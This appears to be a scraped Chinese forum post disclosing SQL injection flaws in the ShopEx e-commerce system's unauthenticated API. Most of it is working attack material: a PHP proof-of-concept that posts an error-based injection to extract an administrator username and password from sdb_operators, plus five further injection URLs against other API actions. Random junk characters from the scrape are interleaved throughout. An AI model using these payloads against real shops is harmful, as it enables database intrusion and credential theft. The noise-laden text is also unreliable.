|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php o* j# \0 c. ^" w4 ]8 T" j: A) a
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php* j' |* a. R+ q# z, j5 R3 R' p$ w
0 v- b& R2 |+ V, b' }2 U
第44行 $data['columns'] 未做过滤导致注入
0 ?2 T! x$ S$ _" J9 p/ c7 | M* d8 O- R6 d1 M/ h& o; H" Z/ v/ A4 _
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
6 G+ @/ E4 b* J! l6 S* {" c/ S/ z. R
注射1:( i t, s' B( Z( Z% T7 b+ D
V. v; b' a$ X) J6 M
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#5 y9 C& ^" S" W8 K- j
. k) A9 Q; L1 `* v/ S, P' U
注射2:& V+ C. q1 S* H4 W) [) O
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}+ C# G3 j$ z: v5 }
, v( f% n1 N- i注射3:( ]7 h. V4 S* Q+ B$ b
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
# i! E. l6 Y. g) k注射4:
) p! m3 p7 |/ o2 c9 N/ b2 h2 C0 D# D+ N( s7 q! U6 D2 _
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
6 a1 r9 b* a, ` N' p' {0 [
3 k; {. W/ u8 d! ^: v$ A( _$ j3 W
/ o' R+ k7 e9 B+ w注射5:
: ], e# U* I( Z5 m5 C7 N1 b; q, t http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
, h0 B4 N) [6 _- x# f2 `
9 i T5 l1 D! r
: l- l/ t& M$ t3 Y. A$ g( U6 I% }6 q) V0 B5 n: p3 k) z9 y9 o6 r
' [4 Y" t Z/ a& |7 B. H; L. i
5 X( |% a$ y& E$ ?6 `9 M D. A: G) G# n2 l4 u# O( D, `
|
|